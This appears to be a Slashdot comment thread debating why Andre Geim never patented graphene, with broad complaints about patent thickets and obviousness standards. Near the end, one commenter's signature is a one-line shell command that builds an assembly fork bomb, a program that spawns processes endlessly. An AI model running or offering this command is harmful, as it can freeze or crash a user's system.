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Why Geim Never Patented Graphene
gbrumfiel writes "As we discussed on Tuesday, Andre Geim won this year's Nobel prize in physics for graphene, but he never patented it. In an interview with Nature News, he explains why: 'We considered patenting; we prepared a patent and it was nearly filed. Then I had an interaction with a big, multinational electronics company. I approached a guy at a conference and said, "We've got this patent coming up, would you be interested in sponsoring it over the years?" It's quite expensive to keep a patent alive for 20 years. The guy told me, "We are looking at graphene, and it might have a future in the long term. If after ten years we find it's really as good as it promises, we will put a hundred patent lawyers on it to write a hundred patents a day, and you will spend the rest of your life, and the gross domestic product of your little island, suing us." That's a direct quote.'"
If a Nobel prize doesn't count as prior art, the system is even more broken that it seems
He could at least have mentioned which "big, multinational electronics company" he spoke with.
Give me Classic Slashdot or give me death!
This is as fine example as any about how patents help the small business and/or lone inventor.
Y'know, just asking. If this isn't a demand with menaces, it sure the hell ain't kippers.
The interesting part of this is the use of the patent system to prevent an inventor patenting their invention. (You know damn well that the company WILL file patents in ten years anyway and will make gob-loads of money, prior-art not withstanding.) The sole value of a patent system is to ALLOW the inventor to patent their invention. It serves no other function. (The other theoretical value of properly documenting an invention has long-since given up the ghost.) That we now have a verifiable, demonstrable example of patent inversion shows that the system as it stands must be replaced.
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
Well, they don't have to patent graphene itself -- they can just patent every possible application of it that they can think of.
That's really the way things seem to work -- if you patent something really awesome, somebody with a lot more lawyers will surround your invention with patents so it can't be used, even by you, without infringing on one of their patents. In general, these patents tend to be "obvious to the layperson" and therefore should be thrown out, but that requires lots of money, and it's easier to just pay their extortion money.
The system is screwed up. It would be even more screwed up if you needed a Nobel prize to protect yourself against it, but at least in this case it's not needed -- and doesn't even help.
RTFA. In the next paragraph Geim talks about what the guy from the electronics company meant. Patents only work if they are for specific devices or processes. Since graphene hasn't been use in any practical real-world solutions yet, there's really nothing to patent at this stage. The company that develop devices and uses for Graphene will end up filing more specific and enforceable patents.
He wasn't necessarily knocking the system.
That's how patents work in biotech. First you find a gene, then you immediately patent it - don't worry about figureing out what it does, because if you delay to do that a competitor might file first. Then you figure out what it does, and then you patent every possible application just to be safe. Commercial biotech research is basically driven by patents, but it can get extremally aggressive.
Maybe patents use to work 50 years ago. Now it is always the case that the company with deeper pockets always gets its way one way or the other. What really gets to me is the hypocrisy of people saying 'patents protect innovators'. They do not. Patents do anything but protecting innovation.
While we're being pedants here, the UK isn't an island either.
Or are you one of those people who doesn't understand the difference between the UK and Great Britain?
Never understood the 'not obvious to the layperson' requirement, seems to me like it should be 'not obvious to someone in the given field'. In other words, if you presented 5 engineers with a problem and they all came up with the same or similar solutions, that solution should not be patentable, there is no leap that is worth rewarding with a monopoly. But I guess just getting the layperson requirement to actually be honored would be a good step in the right direction.
TFA asks: "Finally, are you one of those Nobel prizewinners who is going to go crazy now that you've won? "
The interviewer probably didn't know that Dr. Geim won the Ig Nobel for levitating a frog.
Between that and the fact that he cited saving taxpayer's money as a reason behind not filing a patent and his Friday experiments (which led to the scotch-tape on graphite) discovery, I think I have a new hero.
In the US, the standard is "not obvious to one having ordinary skill in the art". In other words, someone with more skill than Joe Sixpack, but less skill than an expert in the field.
Patent System: A system put in place to be manipulated to protect corporate IP while stifling competitive innovation.
Legal System: A corporate asset which is manipulated to keep innovative products from being competitive.
boycott slashdot February 10th - 17th check out: altSlashdot.org
I'm just saying that an army of patent lawyers will box in any important invention so much that any layman's patent is going to be 100% worthless because they won't be able to do anything with it without stepping all over a dozen other patents. Lets say that you're one of the inventors and want to start a business to actually sell a product that uses graphene. Oh, you want to mass produce graphene now? Well, there's 13 patents on ways to mass produce it so you'll need to license one of them even though it is really just an automation of the process that one you a Nobel prize. You want to use graphene in a touchscreen display? Sorry, that violate the patent on "monolayer semiconductor based resistive devices". etc, etc, etc.
The problem is that it takes less than those 5 engineers to get a crap patent into the system in the first place. When the cost of entry is lower than the cost of removal, the system is going to tend to fill up with crap.
Now, if there was a fine levied against those that had their patents invalidated......
You can't obtain a patent on a substance. You can only obtain patents on the manufacturing or some "novel" usage of the substance.
If there's only one way to make a material and you patent it, then you have essentially patented the material. That's how gene patents work too, they're on the process to produce the gene.
Intron: the portion of DNA which expresses nothing useful.
It isn't libel if what he said is true. If the other guy did indeed say that.
Didn't you read the article? They have 100 lawyers sitting around waiting for something to do.
Intron: the portion of DNA which expresses nothing useful.
Simply ignore the patents ... And if any laywer appeared at the door of your company trying to extort you because of such patents, return then to his employer by mail. Just the head.
Religion: The greatest weapon of mass destruction of all time
In the US, the standard is "not obvious to one having ordinary skill in the art". In other words, someone with more skill than Joe Sixpack, but less skill than an expert in the field.
It's a little more complicated than that. The level of skill involved depends on the subject matter. If the patent is about a simple mechanical device, then the level of skill will be relatively low. Perhaps a bachelor's degree in mechanical engineering, if that. If the patent is about a complex genetically modified organism, then the person having ordinary skill in the art would have a high level of skill, probably a Ph.D in biology with some additional years of experience.
You tend to have alleged infringers arguing that the level of skill in a given case is very high and therefore the super-genius involved would easily have found the invention obvious. The patentee tends to argue that the level of skill is very low and that the Joe Sixpack involved would find the invention astonishingly unobvious.
The European Patent Convention--and thus the patent law of EU countries--follows a similar standard as the US ('a person skilled in the art').
We've arranged a society based on science and technology, in which nobody understands anything about science and technology. And this combustible mixture of ignorance and power, sooner or later, is going to blow up in our faces. I mean, who is running the science and technology in a democracy if the people don't know anything about it?
Carl Sagan
Something obvious you simply avoid doing for (probably)good reason is still obvious.
How many of those same programmers who I assume were at least moderately skilled in the art would have had the slightest problem creating code to let a book get bought and shipped by one click?
Where is the invention?
Where is the non-obvious bit?
If every gun manufacturer included a safety but is quite capable of building one without but don't that doesn't make it an "invention" when one of them does even if it turns out that people like guns with no safetys.
It's an ideal poster child for bad patents.
using XML
you can for sure win a patent war.
You just use weapons the other size will not expect.
If the entire other side ended up in a horrible accident, you suddenly win.
Just saying.... I have a hundred "associates" just sitting around waiting to do something.... Am I making my self clear? capisce?
I would hate for an unfortunate circumstance to happen, causing something to happen... Right Vito?
Do not look at laser with remaining good eye.
But if they're big enough compared to you, they'll make their space modulator anyway and drag things out in court when you sue. Better have the money to have lawyers dedicated to the case for 8 years. If you run out of money, they win. If your lawyers miss an objection or technicality, they win. If you win, you'll eventually get money and damages.
Hey, I work in commercial biotech research! Are you calling me aggressive?
You wanna come over and say that, buddy?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
mod parent +1, aggressive